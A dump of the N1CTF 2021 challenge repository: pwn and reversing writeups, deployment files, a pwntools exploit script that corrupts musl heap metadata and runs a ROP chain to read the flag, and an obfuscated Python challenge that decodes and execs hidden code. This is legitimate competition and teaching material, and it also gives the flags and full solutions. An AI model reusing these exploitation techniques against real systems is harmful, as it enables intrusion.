`meta->mem`. 51 | 52 | *step3* overwrite head in __funcs_on_exit 53 | 54 | in `exit`, it will call `__funcs_on_exit`: 55 | 56 | ```c 57 | #define COUNT 32 58 | 59 | static struct fl 60 | { 61 | struct fl *next; 62 | void (*f[COUNT])(void *); 63 | void *a[COUNT]; 64 | } 65 | void __funcs_on_exit() 66 | { 67 | void (*func)(void *), *arg; 68 | LOCK(lock); 69 | for (; head; head=head->next, slot=COUNT) while(slot-->0) { 70 | func = head->f[slot]; 71 | arg = head->a[slot]; 72 | UNLOCK(lock); 73 | func(arg); 74 | LOCK(lock); 75 | } 76 | } 77 | ``` 78 | 79 | so we can overwrite the `head` pointer to a fake `fl struct` to control the rip. Then we can find a stack povit gadget `0x000000000007b1f5: mov rsp, qword ptr [rdi + 0x30]; jmp qword ptr [rdi + 0x38];` to ROP. 80 | 81 | **unintended solution ** 82 | 83 | * The distance between pie and heap can be brute force, `r3kapig` costs 7hours to make it success remotely 😨 84 | * ~~ overwrite `meta->mem` to `bss` , and it can set a valid `group` to bypass the check in `calloc`. It's also a cool solution!~~ 85 | 86 | If we modify a "freed" `meta->mem`, then we can set a valid `group` through `alloc_group`, which will alloc a new group and set it's member. If we happen to be able to make the next allocated `group` the one we modified, we can bypass the check in the calloc. 87 | 88 | -------------------------------------------------------------------------------- /Pwn/house_of_tataru/deploy/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:21.04 2 | 3 | ENV DEBIAN_FRONTEND=noninteractive 4 | RUN sed -i 's/archive.ubuntu.com/mirrors.tuna.tsinghua.edu.cn/g' /etc/apt/sources.list && sed -i 's/security.ubuntu.com/mirrors.tuna.tsinghua.edu.cn/g' /etc/apt/sources.list 5 | RUN apt-get update && apt-get -y dist-upgrade &&\ 6 | apt-get install -y lib32z1 xinetd build-essential 7 | 8 | RUN useradd -m ctf 9 | 10 | WORKDIR /home/ctf 11 | 12 | RUN mkdir /home/ctf/lib 13 | RUN mkdir /home/ctf/dev && mknod /home/ctf/dev/null c 1 3 && \ 14 | mknod /home/ctf/dev/zero c 1 5 && mknod /home/ctf/dev/random c 1 8 && \ 15 | mknod /home/ctf/dev/urandom c 1 9 && chmod 666 /home/ctf/dev/* 16 | 17 | COPY ./ctf.xinetd /etc/xinetd.d/ctf 18 | RUN echo "Blocked by ctf_xinetd" > /etc/banner_fail 19 | 20 | COPY ./pwn /home/ctf/ 21 | COPY ./ld-musl-x86_64.so.1 /home/ctf/lib/ 22 | 23 | RUN chown -R root:ctf /home/ctf && chmod -R 750 /home/ctf && \ 24 | echo "n1ctf{U_Ar3_RE41LY_M43TeR_0f_Mus1!}" > /home/ctf/flag && \ 25 | chmod 740 /home/ctf/flag && chmod o+r /home/ctf/flag && chmod a+x /home/ctf/pwn 26 | 27 | CMD exec /bin/bash -c "/etc/init.d/xinetd start; trap : TERM INT; sleep infinity & wait" 28 | 29 | EXPOSE 23333 30 | -------------------------------------------------------------------------------- /Pwn/house_of_tataru/deploy/ctf.xinetd: -------------------------------------------------------------------------------- 1 | service ctf 2 | { 3 | disable = no 4 | socket_type = stream 5 | protocol = tcp 6 | wait = no 7 | user = root 8 | type = UNLISTED 9 | port = 23333 10 | bind = 0.0.0.0 11 | server = /usr/bin/timeout 12 | # replace helloworld to your program 13 | server_args = -s SIGKILL 1800 /usr/sbin/chroot --userspec=1000:1000 /home/ctf ./pwn 14 | banner_fail = /etc/banner_fail 15 | # safety options 16 | per_source = 10 # the maximum instances of this service per source IP address 17 | rlimit_cpu = 50 # the maximum number of CPU seconds that the service may use 18 | #rlimit_as = 1024M # the Address Space resource limit for the service 19 | #access_times = 2:00-9:00 12:00-24:00 20 | } 21 | -------------------------------------------------------------------------------- /Pwn/house_of_tataru/deploy/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3" 2 | services: 3 | pwn: 4 | build: . 5 | restart: unless-stopped 6 | ports: 7 | - "23333:23333" -------------------------------------------------------------------------------- /Pwn/house_of_tataru/deploy/ld-musl-x86_64.so.1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Nu1LCTF/n1ctf-2021/84a3fff50ee0ef2f1fece112c75104600cc86a5d/Pwn/house_of_tataru/deploy/ld-musl-x86_64.so.1 -------------------------------------------------------------------------------- /Pwn/house_of_tataru/deploy/pwn: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Nu1LCTF/n1ctf-2021/84a3fff50ee0ef2f1fece112c75104600cc86a5d/Pwn/house_of_tataru/deploy/pwn -------------------------------------------------------------------------------- /Pwn/house_of_tataru/exp.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | import string 3 | import fuckpy3 4 | #p = process('chroot . ./main'.split(' ')) 5 | #p = remote('1.13.184.215',23333) 6 | p = remote('43.155.75.222',23333) 7 | context.log_level = 'debug' 8 | def launch_gdb(): 9 | context.terminal = ['gnome-terminal', '--'] 10 | # gdb.attach(proc.pidof(p)) 11 | print("gnome-terminal -- gdb attach " + str(proc.pidof(p)[0])) 12 | os.system("gnome-terminal -- gdb -q ./main " + str(proc.pidof(p)[0])) 13 | input() 14 | 15 | 16 | class Meta: 17 | def __init__(self) -> None: 18 | self.prev = 0 19 | self.next = 0 20 | self.group = 0 21 | self.avail_mask = 0 22 | self.free_mask = 0 23 | self.last_idx = 7 24 | self.freeable = 1 25 | self.sizeclass = 0 26 | self.maplen = 0 27 | def raw(self): 28 | tmp1 = self.last_idx & (int('11111',2)) 29 | tmp1 |= (self.freeable<<5) 30 | tmp1 |= (self.sizeclass << 6) 31 | tmp1 |= (self.maplen << 12) 32 | tmp1 &=0xffffffffffffffff 33 | return p64(self.prev) + p64(self.next) +\ 34 | p64(self.group) + \ 35 | p32(self.avail_mask) + p32(self.free_mask) + \ 36 | p64(tmp1) + p64(0) 37 | 38 | def add(s,i,c = 'a'): 39 | p.sendafter(':',"1") 40 | p.send(p32(s)) 41 | p.send(p8(i)) 42 | if s > 0x1000 : return 43 | p.send(c) 44 | 45 | def edit(i,c): 46 | p.sendafter(':',"3") 47 | p.send(p8(i)) 48 | p.send(c) 49 | 50 | def setidx(i): 51 | p.sendafter(':',"2") 52 | p.send(p8(i)) 53 | 54 | def show(i): 55 | p.sendafter(':',"4") 56 | p.send(p8(i)) 57 | p.recvuntil('use ') 58 | return p.recvuntil(' to attack the boss',drop=True) 59 | 60 | 61 | #prepare for pie address 62 | for i in range(0x10 + 6): 63 | add(0x10,0) 64 | 65 | # alloca next group 66 | for i in range(7): 67 | add(0x10,1) 68 | 69 | add(0x10000,0) 70 | p.recvuntil('no more magic') 71 | edit(0,'a' * (288-1)) 72 | leak1 = show(0) 73 | leak_heap = u64(leak1[:6] + b'\x00'*2) - 144 74 | log.info('leak heap ' + hex(leak_heap)) 75 | 76 | log.info('start leak') 77 | context.log_level = 'info' 78 | # start leak pie 79 | add(0x100 * 0x1000,1) 80 | for offset in range(0x100,0x2000): 81 | setidx(1) 82 | add((offset+1) * 0x1000,1) 83 | p.recvuntil('no more magic') 84 | edit(1,'\x00') 85 | if offset%0x100 == 0: print('.') 86 | if len(p.recvuntil('failed',timeout = 0.5)) == 0: 87 | break 88 | context.log_level = 'debug' 89 | log.info('get offset ' + hex(offset)) 90 | leak_pie = leak_heap - 0x1000 * offset 91 | log.info('leak pie ' + hex(leak_pie)) 92 | chunk_addr = 3440 + leak_pie 93 | add(0x1000,1) 94 | 95 | meta_addr = 520 + leak_heap 96 | add(meta_addr - chunk_addr + 1,0) 97 | setidx(0) 98 | leak1 = show(0) 99 | leak_libc = u64(b'\x00' + leak1[:5] + b'\x00'*2) + 0x4000 100 | log.info('leak libc ' + hex(leak_libc)) 101 | malloc_req = 0xB6F84 + leak_libc 102 | stack_povit = 0x000000000007b1f5 + leak_libc # 0x000000000007b1f5: mov rsp, qword ptr [rdi + 0x30]; jmp qword ptr [rdi + 0x38]; 103 | rop_addr = leak_libc - 10912 104 | rebase_0 = lambda x : p64(x + leak_libc) 105 | 106 | ropchain = rebase_0(0x00000000000152a1) # 0x00000000000152a1: pop rdi; ret; 107 | ropchain += p64(rop_addr) 108 | ropchain += rebase_0(0x000000000001dad9) # 0x000000000001dad9: pop rsi; ret; 109 | ropchain += p64(0) 110 | ropchain += rebase_0(0x0000000000016a96) # 0x0000000000016a96: pop rax; ret; 111 | ropchain += p64(2) 112 | ropchain += rebase_0(0x00000000000238f0) # 0x00000000000238f0: syscall; ret; 113 | ropchain += rebase_0(0x000000000002cdae) # 0x000000000002cdae: pop rdx; ret; 114 | ropchain += p64(0x100) 115 | ropchain += rebase_0(0x00000000000152a1) # 0x00000000000152a1: pop rdi; ret; 116 | ropchain += p64(3) 117 | ropchain += rebase_0(0x000000000001dad9) # 0x000000000001dad9: pop rsi; ret; 118 | ropchain += p64(rop_addr - 0x100) 119 | ropchain += rebase_0(0x0000000000016a96) # 0x0000000000016a96: pop rax; ret; 120 | ropchain += p64(0) 121 | ropchain += rebase_0(0x00000000000238f0) # 0x00000000000238f0: syscall; ret; 122 | ropchain += rebase_0(0x00000000000152a1) # 0x00000000000152a1: pop rdi; ret; 123 | ropchain += p64(1) 124 | ropchain += rebase_0(0x000000000001dad9) # 0x000000000001dad9: pop rsi; ret; 125 | ropchain += p64(rop_addr - 0x100) 126 | ropchain += rebase_0(0x0000000000016a96) # 0x0000000000016a96: pop rax; ret; 127 | ropchain += p64(1) 128 | ropchain += rebase_0(0x00000000000238f0) # 0x00000000000238f0: syscall; ret; 129 | 130 | 131 | payload = b'flag\x00'.ljust(0x30,b'\x00') + p64(rop_addr + 0x40) + ropchain 132 | 133 | 134 | fake_exit_ptr = len(payload) + rop_addr 135 | 136 | fake_exit = p64(stack_povit) * 32 137 | fake_exit += p64(rop_addr) * 32 138 | 139 | add(0x1000,1,payload + fake_exit) 140 | 141 | meta = Meta() 142 | meta.group = malloc_req - 0x10 + 4 143 | meta.sizeclass = 0 144 | meta.maplen = 1 145 | meta.avail_mask = 11 146 | add(meta_addr - chunk_addr,0) 147 | setidx(0) 148 | add(meta_addr - chunk_addr + 0x100,0) 149 | edit(0,meta.raw()[16:]) 150 | 151 | add(0x1000,1) 152 | 153 | meta.group = leak_libc + 0xB6D48 - 0x20 154 | meta.sizeclass = 0 155 | meta.maplen = 1 156 | meta.avail_mask = 1 157 | add(meta_addr - chunk_addr,0) 158 | setidx(0) 159 | add(meta_addr - chunk_addr + 0x100,0) 160 | edit(0,meta.raw()[16:]) 161 | add(0x1000,0,p64(fake_exit_ptr) * (0x21c//8) + p32(0x233) + p32(1)) 162 | p.sendafter(":","5") 163 | 164 | p.interactive() 165 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # n1ctf-2021 2 | 3 | Challenges and writeups will be gradually uploaded here, stay frosty. 4 | -------------------------------------------------------------------------------- /Re/README.md: -------------------------------------------------------------------------------- 1 | ### Re 2 | -------------------------------------------------------------------------------- /Re/hello/README.md: -------------------------------------------------------------------------------- 1 | Reading the pseudo code, we know that flag is a hexadecimal string with a length of 32. 2 | 3 | ​ The program first converts the string into the corresponding hexadecimal number, and then enters an encryption function. 4 | 5 | ​ Finally, 20 expressions are used to verify whether the encrypted result is correct. 6 | 7 | ![image](https://github.com/Nu1LCTF/n1ctf-2021/blob/main/Re/hello/images/image-20211122232738064.png) 8 | 9 | First solve the expression to get the encrypted result. 10 | 11 | ```python 12 | k=[ 13 | [11448910,40743553,15249722,51420184,1272949,17564837,52185491,8881295,27627194,20133359,12649121,16687834,35629177,65149487,44718284,5377102],[48411728,46007731,35099188,58592730,31668013,37493724,34235932,3705469,46765687,11650930,40946083,14512921,410852,8677693,48100308,15513275], 14 | ...[30297807,5280747,49427355,18487297,39564284,45990969,37674240,29438609,23766078,37794867,931273,63971060,31909354,27118998,66362659,30803764] 15 | ] 16 | ans = [68, 73,105,26,278,236,261,90,173,55,229,292,43,5,276,165,217,207,1,21] 17 | 18 | print(len(k)) 19 | print(len(ans)) 20 | 21 | A = matrix(GF(0x125), k) 22 | b = matrix(GF(0x125), ans).transpose() 23 | a = list(A.solve_right(b)) 24 | print(a[::-1]) 25 | # [(201), (247), (36), (211), (26), (224), (241), (131), (112), (24), (2), (0), (17), (243), (56), (186)] 26 | ``` 27 | 28 | func1 is table-based white-box implementation of AES. 29 | 30 | Recover the key from the table. 31 | 32 | ```python 33 | from CryptoAttacks.Block.whitebox_aes_sage import * 34 | from CryptoAttacks.Utils import * 35 | # https://github.com/GrosQuildu/CryptoAttacks 36 | 37 | T=[ 38 | [ 39 | [ 40 | 0x2f, 0x84, 0x29, 0xe3, 0xd6, 0xb3, 0x52, 0x3b, 0x5a, 0xa0, 0x1b, 0x6e, 0x2c, 0x1a, 0x09, 0x83, 0x58, 0xcf, 0x4a, 0x4c, 0xbe, 0x39, 0x6a, 0xcb, 0xb1, 0x5b, 0x20, 0xfc, 0x00, 0xed, 0x53, 0xd1, 0x9f, 0xa8, 0x50, 0x3c, 0x02, 0x7f, 0x45, 0xf9, 0x33, 0x85, 0x43, 0x4d, 0xaa, 0xfb, 0xd0, 0xef, 0xf3, 0xd2, 0x10, 0xff, 0xda, 0x21, 0xbc, 0xb6, 0x38, 0xf5, 0x92, 0x9d, 0x40, 0x8f, 0x51, 0xa3, 0xab, 0x76, 0xfe, 0xd7, 0x67, 0x2b, 0x30, 0x01, 0x6f, 0xc5, 0xf2, 0x6b, 0x77, 0x7b, 0x63, 0x7c, 0x72, 0xc0, 0x9c, 0xa4, 0xa2, 0xaf, 0xad, 0xd4, 0x47, 0xf0, 0xfa, 0x59, 0xc9, 0x7d, 0xca, 0x82, 0x31, 0x15, 0x71, 0xd8, 0xe5, 0xf1, 0x34, 0xa5, 0xf7, 0xcc, 0x36, 0x3f, 0x93, 0x26, 0xb7, 0xfd, 0xb2, 0x75, 0xeb, 0x27, 0x80, 0xe2, 0x07, 0x12, 0x05, 0x9a, 0x18, 0x96, 0x23, 0xc3, 0x04, 0xc7, 0x8b, 0x8a, 0x4b, 0xbd, 0x74, 0x1f, 0xe8, 0xdd, 0xb4, 0xc6, 0x1c, 0xa6, 0x25, 0x2e, 0xba, 0x78, 0x1d, 0x9e, 0x86, 0xc1, 0x57, 0xb9, 0x61, 0x35, 0xf6, 0x0e, 0x48, 0x03, 0xb5, 0x66, 0x70, 0x3e, 0x28, 0xdf, 0xce, 0x55, 0x87, 0xe9, 0x9b, 0x1e, 0x8e, 0x94, 0x69, 0xd9, 0x98, 0x11, 0xe1, 0xf8, 0xbb, 0x16, 0xb0, 0x54, 0x2d, 0x0f, 0x41, 0x99, 0x42, 0x68, 0xbf, 0xe6, 0x89, 0x0d, 0x8c, 0xa1, 0x19, 0x73, 0x64, 0x5d, 0x7e, 0x3d, 0xc4, 0xa7, 0x44, 0x17, 0x5f, 0x97, 0x13, 0xec, 0xcd, 0x0c, 0x0b, 0xdb, 0xde, 0x5e, 0xb8, 0x14, 0x46, 0xee, 0x90, 0x88, 0x22, 0x2a, 0x4f, 0xdc, 0x60, 0x81, 0xe4, 0x79, 0x91, 0x95, 0xac, 0x62, 0xc2, 0xd3, 0x24, 0x5c, 0x49, 0x06, 0x3a, 0x0a, 0xe0, 0x32, 0xae, 0x08, 0x65, 0x7a, 0xf4, 0xea, 0x6c, 0x56, 0x4e, 0xa9, 0x8d, 0xd5, 0x37, 0x6d, 0xe7, 0xc8 41 | ], 42 | .... 43 | [ 44 | 0xcc, 0x4b, 0x18, 0xb9, 0x2a, 0xbd, 0x38, 0x3e, 0x72, 0x9f, 0x21, 0xa3, 0xc3, 0x29, 0x52, 0x8e, 0xa4, 0xc1, 0x20, 0x49, 0x5d, 0xf6, 0x5b, 0x91, 0x5e, 0x68, 0x7b, 0xf1, 0x28, 0xd2, 0x69, 0x1c, 0xa8, 0x53, 0xce, 0xc4, 0x81, 0xa0, 0x62, 0x8d, 0x32, 0xfd, 0x23, 0xd1, 0x4a, 0x87, 0xe0, 0xef, 0x70, 0x0d, 0x37, 0x8b, 0xed, 0xda, 0x22, 0x4e, 0xd8, 0x89, 0xa2, 0x9d, 0x41, 0xf7, 0x31, 0x3f, 0xd0, 0xdd, 0xdf, 0xa6, 0x00, 0xb2, 0xee, 0xd6, 0xbb, 0x0f, 0xb8, 0xf0, 0x35, 0x82, 0x88, 0x2b, 0x15, 0x59, 0x42, 0x73, 0xd9, 0x04, 0x8c, 0xa5, 0x05, 0x09, 0x11, 0x0e, 0x1d, 0xb7, 0x80, 0x19, 0xf2, 0x90, 0x75, 0x60, 0xc0, 0x07, 0x99, 0x55, 0x51, 0xb1, 0x76, 0xb5, 0x77, 0xe8, 0x6a, 0xe4, 0x97, 0x83, 0x46, 0xd7, 0x43, 0x67, 0x03, 0xaa, 0xe1, 0x54, 0xc5, 0x8f, 0x85, 0xbe, 0x44, 0x4d, 0x25, 0xcb, 0x13, 0x47, 0x6f, 0xec, 0xf4, 0xb3, 0xc7, 0x14, 0x02, 0x4c, 0x84, 0x7c, 0x3a, 0x71, 0x06, 0x6d, 0x9a, 0xaf, 0xf9, 0xf8, 0x39, 0xcf, 0x57, 0x5c, 0xc8, 0x0a, 0xc6, 0xb4, 0x6e, 0xd4, 0x5f, 0x7d, 0x33, 0xeb, 0xc9, 0x64, 0xc2, 0x26, 0xfb, 0x7f, 0xfe, 0xd3, 0x30, 0x1a, 0xcd, 0x94, 0xf5, 0x9b, 0xe9, 0x6c, 0x5a, 0xad, 0xbc, 0x27, 0xea, 0x63, 0x93, 0x8a, 0xfc, 0xe6, 0x1b, 0xab, 0xca, 0x66, 0x34, 0x9c, 0x79, 0xa9, 0xac, 0x2c, 0x3d, 0xae, 0x12, 0xf3, 0xe2, 0xfa, 0x50, 0x58, 0x0c, 0x4f, 0xb6, 0xd5, 0x6b, 0x01, 0x16, 0x2f, 0x61, 0x9e, 0xbf, 0x7e, 0x36, 0x65, 0x2d, 0xe5, 0x86, 0x98, 0x1e, 0x24, 0xdc, 0x7a, 0x17, 0x08, 0x45, 0x1f, 0x95, 0xba, 0x3c, 0xdb, 0xff, 0xa7, 0xde, 0x10, 0xb0, 0xa1, 0x96, 0x0b, 0xe3, 0xe7, 0x48, 0x78, 0x92, 0x40, 0x56, 0x2e, 0x3b, 0x74 45 | ] 46 | ] 47 | ] 48 | 49 | Ty = generate_tyboxes() 50 | TTy_composed = compose_T_Ty_boxes(T, Ty) 51 | 52 | key_recovered = recover_key_unprotected_wbaes(TTy_composed, Ty) 53 | key = matrix_to_array(key_recovered) 54 | print(''.join(list(map(chr,key)))) 55 | ``` 56 | 57 | Get the key is `NU1Lnu1lnu1lNU1L` 58 | 59 | Then decrypt to get the flag. 60 | 61 | ```python 62 | from Crypto.Cipher import AES 63 | key = b"NU1Lnu1lnu1lNU1L" 64 | data = b"\xc9\xf7\x24\xd3\x1a\xe0\xf1\x83\x70\x18\x02\x00\x11\xf3\x38\xba" 65 | cipher = AES.new(key, AES.MODE_ECB) 66 | data = cipher.decrypt(data) 67 | print("n1ctf{" + data.hex() + "}") 68 | # n1ctf{bc9460b17231c7e374be587427cc3f1a} 69 | ``` 70 | 71 | -------------------------------------------------------------------------------- /Re/hello/images/image-20211122232738064.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Nu1LCTF/n1ctf-2021/84a3fff50ee0ef2f1fece112c75104600cc86a5d/Re/hello/images/image-20211122232738064.png -------------------------------------------------------------------------------- /Re/py/L.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import ctypes 3 | 4 | def inv_mod(b, p): # f1 5 | if b < 0 or p <= b: 6 | b = b % p 7 | c, d = b, p 8 | uc, vc, ud, vd, temp = 1, 0, 0, 1, 0 9 | while c != 0: 10 | temp = c 11 | q, c, d = d // c, d % c, temp 12 | uc, vc, ud, vd = ud - q * uc, vd - q * vc, uc, vc 13 | 14 | assert d == 1 15 | if ud > 0: 16 | return ud 17 | else: 18 | return ud + p 19 | 20 | 21 | def leftmost_bit(x): # f2 22 | assert x > 0 23 | result = 1 24 | while result <= x: 25 | result = 2 * result 26 | return result // 2 27 | 28 | 29 | class CurveFp(object): # c1 30 | 31 | def __init__(self, p, a, b): 32 | _t = p 33 | _t ^= 1<<160 34 | self.p = _t 35 | __t = a 36 | __t -=1 37 | __t //= 2 38 | self.a = __t 39 | ___t = b 40 | ___t //= 2 41 | ___t += 1 42 | self.b = ___t 43 | 44 | 45 | def contains_point(self, x, y): 46 | return (y * y - (x * x * x + self.a * x + self.b)) % self.p == 0 47 | 48 | class Point(object): # c2 49 | 50 | def __init__(self, curve, x, y, order=None): 51 | 52 | self.curve = curve 53 | self.x = x 54 | self.y = y 55 | self.order = order 56 | if self.curve: 57 | assert self.curve.contains_point(x, y) 58 | if order: 59 | assert self * order == INFINITY 60 | 61 | def __eq__(self, other): 62 | if self.curve == other.curve \ 63 | and self.x == other.x \ 64 | and self.y == other.y: 65 | return True 66 | else: 67 | return False 68 | 69 | def __add__(self, other): 70 | if other == INFINITY: 71 | return self 72 | if self == INFINITY: 73 | return other 74 | assert self.curve == other.curve 75 | 76 | if self.x == other.x: 77 | if (self.y + other.y) % self.curve.p == 0: 78 | return INFINITY 79 | else: 80 | return self.double() 81 | 82 | p = self.curve.p 83 | l = ((other.y - self.y) * \ 84 | inv_mod(other.x - self.x, p)) % p 85 | 86 | x3 = (l * l - self.x - other.x) % p 87 | y3 = (l * (self.x - x3) - self.y) % p 88 | 89 | return Point(self.curve, x3, y3) 90 | 91 | def __mul__(self, other): 92 | e = other 93 | if self.order: 94 | e = e % self.order 95 | if e == 0: 96 | return INFINITY 97 | if self == INFINITY: 98 | return INFINITY 99 | 100 | e3 = 3 * e 101 | negative_self = Point(self.curve, self.x, -self.y, self.order) 102 | i = leftmost_bit(e3) // 2 103 | result = self 104 | 105 | while i > 1: 106 | result = result.double() 107 | if (e3 & i) != 0 and (e & i) == 0: 108 | result = result + self 109 | if (e3 & i) == 0 and (e & i) != 0: 110 | result = result + negative_self 111 | i = i // 2 112 | return result 113 | 114 | def __rmul__(self, other): 115 | return self * other 116 | 117 | def double(self): # s1 118 | if self == INFINITY: 119 | return INFINITY 120 | 121 | p = self.curve.p 122 | a = self.curve.a 123 | l = ((3 * self.x * self.x + a) * \ 124 | inv_mod(2 * self.y, p)) % p 125 | 126 | x3 = (l * l - 2 * self.x) % p 127 | y3 = (l * (self.x - x3) - self.y) % p 128 | 129 | return Point(self.curve, x3, y3) 130 | 131 | INFINITY = Point(None, None, None) 132 | 133 | def f3(flag): 134 | t = 0 135 | for i in flag[::-1]: 136 | t = t << 4 | int(i, 16) 137 | return t 138 | 139 | 140 | # key = 0 141 | # libc = ctypes.CDLL("libc.so.6") 142 | # _ptrace = libc.ptrace 143 | # key=_ptrace(0, 0, 1, 0) 144 | # _memcpy = libc.memcpy 145 | # key += 1 146 | z = [105, 103, 123, 34, 63, 34, 50, 8, 110, 107, 96, 97, 34, 63, 34, 97, 118, 123, 114, 103, 113, 44, 65, 70, 78, 78, 42, 32, 110, 107, 96, 97, 44, 113, 109, 44, 52, 32, 43, 8, 93, 114, 118, 112, 99, 97, 103, 34, 63, 34, 110, 107, 96, 97, 44, 114, 118, 112, 99, 97, 103, 8, 105, 103, 123, 63, 93, 114, 118, 112, 99, 97, 103, 42, 50, 46, 34, 50, 46, 34, 51, 46, 34, 50, 43, 8, 93, 111, 103, 111, 97, 114, 123, 34, 63, 34, 110, 107, 96, 97, 44, 111, 103, 111, 97, 114, 123, 8, 105, 103, 123, 34, 41, 63, 34, 51] 147 | z=''.join([chr(i^2) for i in z]) 148 | exec(z) 149 | 150 | 151 | 152 | 153 | # table=["f1", "f2", "c2.__add__", "c1.s1", "c2.__mul__", "f3"] 154 | # x="""address=id(%s.__code__.co_code)+bytes.__basicsize__-1 155 | # codes=list(%s.__code__.co_code) 156 | # for i in range(len(codes)):codes[i]^=key 157 | # codes=bytearray(codes) 158 | # buff=(ctypes.c_byte*len(codes)).from_buffer(codes) 159 | # _memcpy(ctypes.c_char_p(address),ctypes.cast(buff,ctypes.POINTER(ctypes.c_char)),ctypes.c_int(len(codes))) 160 | # key+=1""" 161 | # codes = [x%(i,i) for i in table] 162 | # for i in codes:exec(i) 163 | z = [112, 101, 102, 104, 97, 57, 95, 38, 98, 53, 38, 40, 36, 38, 98, 54, 38, 40, 36, 38, 103, 54, 42, 91, 91, 101, 96, 96, 91, 91, 38, 40, 36, 38, 103, 53, 42, 119, 53, 38, 40, 36, 38, 103, 54, 42, 91, 91, 105, 113, 104, 91, 91, 38, 40, 36, 38, 98, 55, 38, 89, 14, 124, 57, 95, 61, 60, 40, 36, 53, 52, 55, 40, 36, 53, 52, 55, 40, 36, 53, 53, 55, 40, 36, 53, 52, 54, 40, 36, 53, 53, 54, 40, 36, 53, 53, 54, 40, 36, 50, 54, 40, 36, 53, 52, 50, 40, 36, 53, 52, 55, 40, 36, 48, 55, 40, 36, 55, 60, 40, 36, 53, 53, 54, 40, 36, 48, 49, 40, 36, 61, 54, 40, 36, 61, 54, 40, 36, 61, 50, 40, 36, 53, 52, 60, 40, 36, 53, 52, 55, 40, 36, 53, 52, 54, 40, 36, 61, 54, 40, 36, 61, 54, 40, 36, 48, 49, 40, 36, 61, 50, 40, 36, 53, 52, 60, 40, 36, 61, 54, 40, 36, 61, 50, 40, 36, 53, 52, 60, 40, 36, 53, 52, 55, 40, 36, 53, 52, 54, 40, 36, 48, 54, 40, 36, 48, 52, 40, 36, 61, 51, 40, 36, 53, 54, 54, 40, 36, 53, 53, 61, 40, 36, 53, 52, 54, 40, 36, 53, 53, 54, 40, 36, 48, 49, 40, 36, 61, 54, 40, 36, 61, 54, 40, 36, 61, 51, 40, 36, 61, 60, 40, 36, 53, 53, 54, 40, 36, 53, 52, 50, 40, 36, 61, 50, 40, 36, 53, 53, 54, 40, 36, 53, 52, 50, 40, 36, 53, 54, 53, 40, 36, 53, 52, 54, 40, 36, 61, 54, 40, 36, 61, 54, 40, 36, 48, 50, 40, 36, 49, 52, 40, 36, 61, 40, 36, 61, 50, 40, 36, 53, 52, 60, 40, 36, 53, 52, 55, 40, 36, 53, 52, 54, 40, 36, 53, 53, 54, 40, 36, 50, 54, 40, 36, 53, 53, 53, 40, 36, 53, 52, 50, 40, 36, 53, 53, 54, 40, 36, 53, 53, 61, 40, 36, 48, 55, 40, 36, 55, 60, 40, 36, 53, 53, 54, 40, 36, 48, 49, 40, 36, 61, 54, 40, 36, 61, 54, 40, 36, 61, 50, 40, 36, 53, 52, 60, 40, 36, 53, 52, 55, 40, 36, 53, 52, 54, 40, 36, 61, 54, 40, 36, 61, 54, 40, 36, 48, 49, 40, 36, 61, 50, 40, 36, 53, 52, 60, 40, 36, 61, 54, 40, 36, 61, 50, 40, 36, 53, 52, 60, 40, 36, 53, 52, 55, 40, 36, 53, 52, 54, 40, 36, 48, 54, 40, 36, 61, 40, 36, 53, 52, 53, 40, 36, 53, 52, 60, 40, 36, 53, 53, 55, 40, 36, 55, 49, 40, 36, 53, 52, 50, 40, 36, 55, 49, 40, 36, 53, 52, 50, 40, 36, 53, 52, 61, 40, 36, 55, 49, 40, 36, 53, 53, 55, 40, 36, 61, 60, 40, 36, 53, 52, 61, 40, 36, 53, 52, 52, 40, 36, 53, 52, 54, 40, 36, 48, 55, 40, 36, 53, 53, 53, 40, 36, 53, 52, 54, 40, 36, 53, 52, 61, 40, 36, 48, 55, 40, 36, 61, 50, 40, 36, 53, 52, 60, 40, 36, 53, 52, 55, 40, 36, 53, 52, 54, 40, 36, 53, 53, 54, 40, 36, 48, 54, 40, 36, 48, 54, 40, 36, 49, 51, 40, 36, 61, 50, 40, 36, 53, 52, 60, 40, 36, 53, 52, 55, 40, 36, 53, 52, 54, 40, 36, 53, 53, 54, 40, 36, 60, 60, 40, 36, 53, 52, 50, 40, 36, 61, 48, 40, 36, 61, 55, 40, 36, 50, 54, 40, 36, 53, 52, 48, 40, 36, 53, 52, 54, 40, 36, 53, 54, 54, 40, 36, 61, 40, 36, 61, 50, 40, 36, 53, 52, 60, 40, 36, 53, 52, 55, 40, 36, 53, 52, 54, 40, 36, 53, 53, 54, 40, 36, 50, 54, 40, 36, 61, 51, 40, 36, 53, 54, 54, 40, 36, 53, 53, 61, 40, 36, 53, 52, 54, 40, 36, 61, 60, 40, 36, 53, 53, 55, 40, 36, 53, 53, 55, 40, 36, 61, 60, 40, 36, 53, 54, 54, 40, 36, 48, 55, 40, 36, 61, 50, 40, 36, 53, 52, 60, 40, 36, 53, 52, 55, 40, 36, 53, 52, 54, 40, 36, 53, 53, 54, 40, 36, 48, 54, 40, 36, 61, 40, 36, 61, 51, 40, 36, 53, 53, 60, 40, 36, 53, 52, 53, 40, 36, 53, 52, 53, 40, 36, 50, 54, 40, 36, 48, 55, 40, 36, 61, 50, 40, 36, 53, 53, 61, 40, 36, 53, 54, 54, 40, 36, 53, 53, 49, 40, 36, 53, 52, 54, 40, 36, 53, 53, 54, 40, 36, 48, 49, 40, 36, 61, 50, 40, 36, 61, 54, 40, 36, 61, 51, 40, 36, 53, 54, 54, 40, 36, 53, 53, 61, 40, 36, 53, 52, 54, 40, 36, 48, 53, 40, 36, 53, 53, 53, 40, 36, 53, 52, 54, 40, 36, 53, 52, 61, 40, 36, 48, 55, 40, 36, 61, 50, 40, 36, 53, 52, 60, 40, 36, 53, 52, 55, 40, 36, 53, 52, 54, 40, 36, 53, 53, 54, 40, 36, 48, 54, 40, 36, 48, 54, 40, 36, 48, 49, 40, 36, 53, 52, 53, 40, 36, 53, 53, 55, 40, 36, 53, 52, 60, 40, 36, 53, 53, 52, 40, 36, 61, 54, 40, 36, 61, 51, 40, 36, 53, 53, 60, 40, 36, 53, 52, 53, 40, 36, 53, 52, 53, 40, 36, 53, 52, 54, 40, 36, 53, 53, 